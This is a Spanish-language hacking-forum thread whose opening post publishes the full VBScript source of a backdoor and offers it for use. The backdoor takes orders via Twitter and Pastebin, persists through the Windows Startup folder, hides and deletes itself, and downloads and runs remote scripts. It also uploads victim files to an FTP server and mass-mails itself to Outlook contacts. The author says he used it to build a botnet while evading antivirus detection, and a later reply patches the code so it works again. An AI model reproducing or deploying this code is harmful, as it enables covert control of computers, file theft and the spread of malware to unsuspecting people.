elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [DoOrders.vbs] BackDoor controlado por twitter + pastebin.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [DoOrders.vbs] BackDoor controlado por twitter + pastebin.  (Leído 19,068 veces)
79137913


Desconectado Desconectado

Mensajes: 1.169


4 Esquinas


Ver Perfil WWW
[DoOrders.vbs] BackDoor controlado por twitter + pastebin.
« en: 6 Diciembre 2012, 19:08 pm »

HOLA!!!


Nota: Cambie el codigo por que el api de twitter cambio ahora solo tienen que twittear de la url de pastebin por ejemplo pastebin.com/hola1234 solo twitean /hola1234


Primero que nada les voy a explicar lo que es esto, es un sistema que recibe y ejecuta ordenes.

Las ordenes son las siguientes:
Código:
Para descargar un Archivo de texto (vbs o js ;D):
down[%]Link[%]Carpeta[%]NombreArchivo

Para ejecutar un archivo:
xcec[%]Carpeta[%]NombreArchivo

Para descargar y ejecutar un vbs o js:
dwne[%]Link[%]Carpeta[%]NombreArchivo

Para copiar un archivo:
copy[%]Carpeta1[%]NombreArchivo1[%]Carpeta2[%]NombreArchivo2

Para eliminar un archivo:
supr[%]Carpeta[%]NombreArchivo

Para ocultar un archivo:
hide[%]Carpeta[%]NombreArchivo

Para subir un archivo a un FTP:
ftpu[%]FTPServer[%]FTPPort[%]FTPUser[%]FTPPass[%]SPath[%]SFile[%]OrdNum

Para mostrar un cuadro de texto:
msgb[%]TextoAMostrar

Para hacer melt:
melt

Para cerrar:
clos

Para detener la orden actual:
nord

NOTA IMPORTANTE
En carpeta pueden poner la carpeta o cualquiera de estas palabras claves:
"MYPATH" esta es el path del script
"FULLPATHONFILENAME" esta tomara como path lo que coloquen en el nombre del archivo.
"STARTUP" esta es la carpeta de inicio (ejecucion automatica al iniciar windows)

Ustedes diran, por que solo descarga texto? Rta, FUD.
Y replicaran, pero como hago para que descargue y ejecute mi exe que es binario y no ascii? Rta, cifra a base64 y descifra con un script ;).
Continuando, este codigo lo use para armar una botnet en vbs, cual es la ventaja de esto? Rta, que si borran algun ejecutable malicioso no borran este archivo.

Se le pueden agregar mil funciones mas, pero recomiendo que si queres agregar usa el Descargar y Ejecutar VBS por si tu codigo es detectado.

Como se usa este sistema:

1ro: Crear una cuenta en twitter.
2do: Crear un pastebin con las ordenes a hacer.
3ro: Twittear SOLO la url de pastebin.
Nota: Cambie el codigo por que el api de twitter cambio ahora solo tienen que twittear de la url de pastebin por ejemplo pastebin.com/hola1234 solo twitean /hola1234
4to: Esperar y disfrutar XD.

El codigo, lo que esperaban:
Código
  1. on error resume next
  2. Dim Orders
  3. Dim MyFullPath: MyFullPath = WScript.ScriptFullName
  4. Dim MyPath: MyPath = Left(MyFullPath, InstrRev(MyFullPath, "\")-1)
  5. Dim MyName: MyName = WScript.ScriptName
  6. Dim user : user = "botiloveyou" 'Aca pone tu usuario de twitter
  7. 'FTP
  8.   Dim FTPData
  9.   Dim FTPCOMPLETE
  10.   Dim W1
  11.   Dim W2
  12. '/FTP
  13.  
  14. Main
  15. Sub Main()
  16.   If Not (CreateObject("scripting.filesystemobject").FileExists("C:\SS.ORD") and MyFullPath = ConvertPath("STARTUP",MyName)) Then
  17.       CreateObject("Scripting.FileSystemObject").CreateTextFile("C:\SS.ORD", True).WriteLine ("0")
  18.       CopyToStartUP MyPath , MyName
  19.       Hidefile "STARTUP", MyName
  20.       ExecuteFile "STARTUP", MyName
  21.       Melt
  22.       WScript.Quit (1)
  23.   End If
  24.   Do
  25.       DoOrders "[%]"
  26.       For x = 0 To 200
  27.           WScript.Sleep 10000
  28.       Next
  29.   Loop
  30. End Sub
  31. Sub DoOrders(OrdSeparator)
  32.   GetOrders
  33.   For x = 0 To UBound(Orders)
  34.       Ord = Split(Orders(x), OrdSeparator)
  35.       Select Case Ord(0)
  36.           Case "nord"
  37.               Exit For
  38.           Case "down" 'Download VBS
  39.               DownloadVBS Ord(1), Ord(2), Ord(3)
  40.           Case "xcec" 'Execute
  41.               ExecuteFile Ord(1), Ord(2)
  42.           Case "dwne" 'Download and Execute VBS
  43.               DownloadVBS Ord(1), Ord(2), Ord(3)
  44.               ExecuteFile Ord(2), Ord(3)
  45.           Case "copy" 'Copy
  46.               FileCopy Ord(1), Ord(2), Ord(3), Ord(4)
  47.           Case "supr" 'Delete
  48.               DeleteFile Ord(1), Ord(2)
  49.           Case "hide" 'Hide
  50.               HideFile Ord(1), Ord(2)
  51.           Case "melt" 'Melt
  52.               Melt
  53.           Case "ftpu" 'Upload to FTP
  54.               Set W1 = WScript.CreateObject("MSWINSOCK.Winsock", "W1_")
  55.               Set W2 = WScript.CreateObject("MSWINSOCK.Winsock", "W2_")
  56.               Call FTPUpload(Ord(1), Ord(2), Ord(3),Ord(4), Ord(5), Ord(6), Ord(7))
  57.               Set W1 = Nothing
  58.               Set W2 = Nothing
  59.           Case "msgb" 'MsgBox
  60.               Msgbox Ord(1)
  61.           Case "clos" 'Close
  62.        WScript.Quit (1)
  63.       End Select
  64.   Next
  65. End Sub
  66. Function LastOrderDone()
  67.   LastOrderDone = CreateObject("Scripting.FileSystemObject").OpenTextFile("C:\SS.ORD", 1).ReadAll
  68. End Function
  69. Sub ExecuteFile(SPath, SFile)
  70.   CreateObject("WScript.Shell").run """" & ConvertPath(SPath, SFile) & """"
  71. End Sub
  72. Sub FileCopy(Spath, SFile, Spath2, SFile2)
  73.   CreateObject("scripting.filesystemobject").CopyFile ConvertPath(Spath, SFile),ConvertPath(Spath2, SFile2),True
  74. End Sub
  75. Sub Melt()
  76.   DeleteFile "FULLPATHONFILENAME", MyFullPath
  77. End Sub
  78. Sub DeleteFile(SPath, SFile)
  79.   CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
  80. End Sub
  81. Sub DownloadVBS(Z, SPath, SFile)
  82.   Set xhttp = CreateObject("Microsoft.XmlHttp")
  83.   xhttp.open "GET", Z, False
  84.   xhttp.send ""
  85.   Z = xhttp.responseText
  86.   If CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile)) Then CreateObject("Scripting.FileSystemObject").DeleteFile ConvertPath(SPath, SFile)
  87.   CreateObject("Scripting.FileSystemObject").CreateTextFile(ConvertPath(SPath, SFile), True).WriteLine (Z)
  88.   Set xhttp = Nothing
  89.   Do While Not CreateObject("scripting.filesystemobject").FileExists(ConvertPath(SPath, SFile))
  90.   WScript.Sleep 500
  91.   Loop
  92. End Sub
  93. Function ConvertPath(SPath, SFile)
  94.   If UCase(SPath) = "MYPATH" Then ConvertPath = CreateObject("Shell.Application").NameSpace(26).Self.Path: Exit Function
  95.   If UCase(SPath) = "FULLPATHONFILENAME" Then ConvertPath = SFile: Exit Function
  96.   If UCase(SPath) = "STARTUP" Then SPath = CreateObject("WScript.Shell").SpecialFolders("StartUp")
  97.   ConvertPath = SPath & "\" & SFile
  98. End Function
  99. Sub GetOrders()
  100.   Orders = Split("nord nord")
  101.   Dim Orden
  102.   Dim xhttp
  103.   Dim y
  104.   Dim URLPASTEBIN
  105.   Dim http : Set http = CreateObject("Microsoft.XmlHttp")
  106. http.open "GET", "http://api.twitter.com/1/statuses/user_timeline/" & user & ".xml", False
  107. http.send
  108. y = split(http.responsetext,"<text>")
  109. If ubound(y)>0 then
  110. msgbox y(1)
  111. URLPASTEBIN = "http://pastebin.com" & split(y(1),"</text>")(0) : set http = Nothing
  112. msgbox urlpastebin
  113. End if
  114.      Set xhttp = CreateObject("Microsoft.XmlHttp")
  115.      If CheckOrder(URLPASTEBIN) = 0 Then Exit Sub
  116.      xhttp.open "GET", URLPASTEBIN, False
  117.      xhttp.send ""
  118.      Z = LCase(xhttp.responseText)
  119.      Set xhttp = Nothing
  120.      Z = Replace(Split(Split(Z, "<textarea")(1), ">")(1), "</textarea", vbNullString)
  121.      Orders = Split(Z, vbNewLine)
  122. End Sub
  123. Sub HideFile(SPath, SFile)
  124.   CreateObject("scripting.filesystemobject").GetFile(ConvertPath(SPath, SFile)).Attributes = -2
  125. End Sub
  126. Sub CopyToStartUP(SPath, SFile)
  127.   CreateObject("scripting.filesystemobject").CopyFile ConvertPath(SPath, SFile), CreateObject("WScript.Shell").SpecialFolders("StartUp") & "\" & SFile, True
  128. End Sub
  129. Function FTPUpload(FTPServer, FTPPort, FTPUser, FTPPass, SPath, SFile, OrdNum)
  130.   W1.RemoteHost = FTPServer
  131.   W1.RemotePort = FTPPort
  132.   W1.Connect
  133.   If WaitResponse Then Exit Function
  134.   If FTPCODE <> 220 Then Exit Function
  135.       FTPData = ""
  136.       W1.SendData "USER " & FTPUser & vbCrLf
  137.       If WaitResponse Then Exit Function
  138.   If FTPCODE <> 331 Then Exit Function
  139.       FTPData = ""
  140.       W1.SendData "PASS " & FTPPass & vbCrLf
  141.       If WaitResponse Then Exit Function
  142.   If FTPCODE <> 230 Then Exit Function
  143.       FTPData = ""
  144.       W1.SendData "PASV" & vbCrLf
  145.       If WaitResponse Then Exit Function
  146.   If FTPCODE <> 227 Then Exit Function
  147.       Dim Aux
  148.       Aux = Split(FTPData, ",")
  149.       FTPDataPort = (Aux(UBound(Aux) - 1) * 256) + Left(Aux(UBound(Aux)), InStr(Aux(UBound(Aux)), ")") - 1)
  150.       FTPDataIP = Trim(Replace(Right(Aux(0), 3), "(", vbNullString)) & "." & Aux(1) & "." & Aux(2) & "." & Aux(3)
  151.       FTPData = ""
  152.       W1.SendData "STOR " & Int(Rnd() * 1000000) & Int(Rnd() * 1000000) & "." & OrdNum & vbCrLf
  153.       W2.RemotePort = FTPDataPort: W2.RemoteHost = FTPDataIP
  154.       W2.Connect
  155.       WaitResponse
  156.   If Not (FTPCODE = "125" Or FTPCODE = "150") Then Exit Function
  157.       FTPUpload = Upload(ConvertPath(SPath, SFile))
  158. End Function
  159. Function Upload(FilePath)
  160.   Dim UPFile
  161.   Dim FileLen
  162.   Dim TotalSent
  163.   Dim a
  164.   Set a = WScript.CreateObject("ADODB.Stream")
  165.   a.open
  166.   a.Type = 1
  167.   a.LoadFromFile (FilePath)
  168.   UPFile = a.Read()
  169.   FTPCOMPLETE = False
  170.   W2.SendData UPFile
  171.   EsperaSubida = 0
  172.   Do
  173.       WScript.Sleep 1000
  174.       EsperaSubida = EsperaSubida + 1
  175.       If SendIsComplete = 1 Then Upload = True: Exit Function
  176.       If EsperaSubida > 300 Then Exit Function
  177.   Loop
  178. End Function
  179. Sub W1_DataArrival(ByVal bytesTotal)
  180.   W1.GetData FTPData, 8
  181. End Sub
  182. Function SendIsComplete()
  183.   SendIsComplete = FTPCOMPLETE
  184. End Function
  185. Sub w2_SendComplete()
  186.   FTPCOMPLETE = 1
  187. End Sub
  188. Function WaitResponse()
  189.   Espera = 0
  190.   Do
  191.       WScript.Sleep 1000
  192.       Espera = Espera + 1
  193.       If Espera > 10 Then WaitResponse = 1: Exit Function
  194.       If FTPCODE <> 0 Then Exit Function
  195.   Loop
  196. End Function
  197. Function FTPCODE()
  198.   If Len(FTPData) > 3 Then FTPCODE = Left(FTPData, 3) Else FTPCODE = 0
  199. End Function
  200. Function uncif(Tweet)
  201.   Tweet = Replace(Tweet, Chr(32), vbNullString)
  202.   Movex = Left(Tweet, 1)
  203.   For x = 2 To Len(Tweet)
  204.       uncif = uncif & Chr(Asc(Mid(Tweet, x, 1)) + Movex)
  205.   Next
  206. End Function
  207. Function CheckOrder(expression)
  208. Dim EscOrd
  209.  if instr(expression, "/") then
  210.  Set EscOrd = CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\SS.ORD", 1)
  211.  Aux = EscOrd.ReadAll
  212.  Dim Aux2
  213.  Set EscOrd = Nothing
  214.  Aux2 = Split(Aux,VbNewLine)
  215.  For x = 0 to ubound(aux2)
  216.     If Replace(expression,"pastebin","google") = Aux2(x) then CheckOrder = 0: Exit Function
  217.  Next
  218.  set EscOrd = CreateObject("Scripting.FileSystemObject").CreateTextFile("c:\SS.ORD", True)
  219.  EscOrd.Write (Aux & VbNewLine & Replace(expression,"pastebin","google"))
  220.  EscOrd.Close
  221.  Set EscOrd = Nothing
  222.  CheckOrder = 1
  223.  end if
  224. End Function
  225. Sub SpreadOutLook(Message,Subject,SPath, SFile)
  226. Set Contacts = WScript.CreateObject("Outlook.Application").GetNamespace("MAPI").GetDefaultFolder(10)
  227. Cant = Contacts.Items.Count
  228. For X = 1 to Cant
  229.   If Contacts.Items.Item(x).Email1Address <> "" Then
  230.       Set Email = CreateObject("Outlook.Application").CreateItem(0)
  231.       Email.To = Contacts.Items.Item(x).Email1Address
  232.       Email.Subject = Replace(Subject,"%nombre%",Contacts.Items.Item(x).FullName)
  233.       Email.ReadReceiptRequested = False
  234.       Email.HTMLBody = Replace(Message,"%nombre%",Contacts.Items.Item(x).FullName)
  235.       Email.Attachments.Add ConvertPath(SPath, SFile)
  236.       Email.Send
  237.   End If
  238. next
  239. End Sub

Nota: Mi version obviamente no es esa, usa encriptacion y otro sistema de tweets pero esa que deje es funcional al 100%.

GRACIAS POR LEER!!!


« Última modificación: 2 Enero 2013, 12:53 pm por 79137913 » En línea

"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*
0x5d

Desconectado Desconectado

Mensajes: 241



Ver Perfil WWW
Re: BackDoor en VBS controlado por twitter + pastebin.
« Respuesta #1 en: 6 Diciembre 2012, 19:31 pm »

Genial :O , hace un tiempo hice algo similar, pero con un cliente en Python y realizaba las ordenes desde un .PHP al cliente Python y ejecutaba las ordenes

PD: Si no molesta, luego puedo subir el código.

Saludos !


En línea

Danyfirex


Desconectado Desconectado

Mensajes: 493


My Dear Mizuho


Ver Perfil
Re: BackDoor en VBS controlado por twitter + pastebin.
« Respuesta #2 en: 7 Diciembre 2012, 01:42 am »

Gracias 79137913 muy bonito código  ;D

saludos
En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.788



Ver Perfil
Re: BackDoor en VBS controlado por twitter + pastebin.
« Respuesta #3 en: 7 Diciembre 2012, 20:37 pm »

4to: Esperar y disfrutar XD.

Una pena los que no disponemos de twitter para poner en práctica el trolleamiento la diversión...  :xD

Me encantó lo que descubriste!
En línea

79137913


Desconectado Desconectado

Mensajes: 1.169


4 Esquinas


Ver Perfil WWW
Re: BackDoor en VBS controlado por twitter + pastebin.
« Respuesta #4 en: 10 Diciembre 2012, 12:07 pm »

HOLA!!!

@Electro Hacker:
Que descubri?

Si no tenes Twitter tenes que modificar la funcion GetOrders:
Código
  1. Sub GetOrders()
  2.   Orders = Split("nord nord")
  3.   Dim Orden
  4.   Dim xhttp
  5.   Dim y
  6.   Dim URLPASTEBIN
  7.   Dim http : Set http = CreateObject("Microsoft.XmlHttp")
  8. '########## aca es donde obtiene la url de pastebin, modifica la funcion #####
  9. http.open "GET", "http://api.twitter.com/1/statuses/user_timeline/" & user & ".xml", False
  10. http.send
  11. y = split(http.responsetext,"<source>")
  12. If ubound(y)>0 then
  13. URLPASTEBIN = split(split(y(1),"</source>")(0),"&quot;")(1) : set http = Nothing
  14. End if
  15. '########## aca es donde obtiene la url de pastebin, modifica la funcion #####
  16.           Set xhttp = CreateObject("Microsoft.XmlHttp")
  17.           If CheckOrder(URLPASTEBIN) = 0 Then Exit Sub
  18.           xhttp.open "GET", URLPASTEBIN, False
  19.           xhttp.send ""
  20.           Z = LCase(xhttp.responseText)
  21.           Set xhttp = Nothing
  22.           Z = Replace(Split(Split(Z, "<textarea")(1), ">")(1), "</textarea", vbNullString)
  23.           Orders = Split(Z, vbNewLine)
  24.       End If
  25. End Sub

Modificalo, queda en vos ponerle de donde queres que saque la direccion.
GRACIAS POR LEER!!!
« Última modificación: 10 Diciembre 2012, 15:47 pm por 79137913 » En línea

"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*
konarr

Desconectado Desconectado

Mensajes: 65


. . .


Ver Perfil
Re: BackDoor en VBS controlado por twitter + pastebin.
« Respuesta #5 en: 21 Diciembre 2012, 22:25 pm »

PD: Si no molesta, luego puedo subir el código.


Para nada, subelo :D
En línea

  • como la heroína a través de las venas de un adicto, se envía un pulso electrónico.
Mi sitio -> The Bunker Øf konarr
IRC NO OFICIAL elhacker.net  ##elhacker
http://webchat.freenode.net/?channels=%23%23elhacker
r@mbyte

Desconectado Desconectado

Mensajes: 10



Ver Perfil
Re: [DoOrders.vbs] BackDoor controlado por twitter + pastebin.
« Respuesta #6 en: 21 Diciembre 2012, 23:31 pm »

mira vi el post y me emocione tanto que me registre en twitter pero lamentablemente no funciono el codigo mira el error que me tiro

lo solucione poniendo el end if como comentario

y al final no me funciono  :huh:
publique en mi twitter rambyte_hack la url de pastebin http://pastebin.com/72a6adSu
En línea

79137913


Desconectado Desconectado

Mensajes: 1.169


4 Esquinas


Ver Perfil WWW
Re: [DoOrders.vbs] BackDoor controlado por twitter + pastebin.
« Respuesta #7 en: 2 Enero 2013, 12:55 pm »

HOLA!!!

@Rambyte:
Ahi modifique el codigo y ya funciona nuevamente, lee las notas en rojo que agregue.
La razon de que no funcionase es que el api cambio, ahora ya lo arregle.

GRACIAS POR LEER!!!
En línea

"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

 79137913                          *Shadow Scouts Team*
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Chemtrails cambio climático controlado.(conspiració cambio climático controlado) « 1 2 »
Foro Libre
usuario oculto 12 9,831 Último mensaje 21 Enero 2011, 00:33 am
por Oblivi0n
[Perl] PasteBin Uploader
Scripting
BigBear 0 2,220 Último mensaje 8 Octubre 2011, 16:55 pm
por BigBear
[Ruby] PasteBin Uploader
Scripting
BigBear 0 1,943 Último mensaje 16 Octubre 2011, 02:50 am
por BigBear
[Python] PasteBin Uploader
Scripting
BigBear 1 3,486 Último mensaje 9 Febrero 2012, 15:03 pm
por Eleкtro
[RUBY] [WINDOWS] Pastebin Uploader
Scripting
Eleкtro 0 2,223 Último mensaje 10 Diciembre 2012, 21:02 pm
por Eleкtro
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines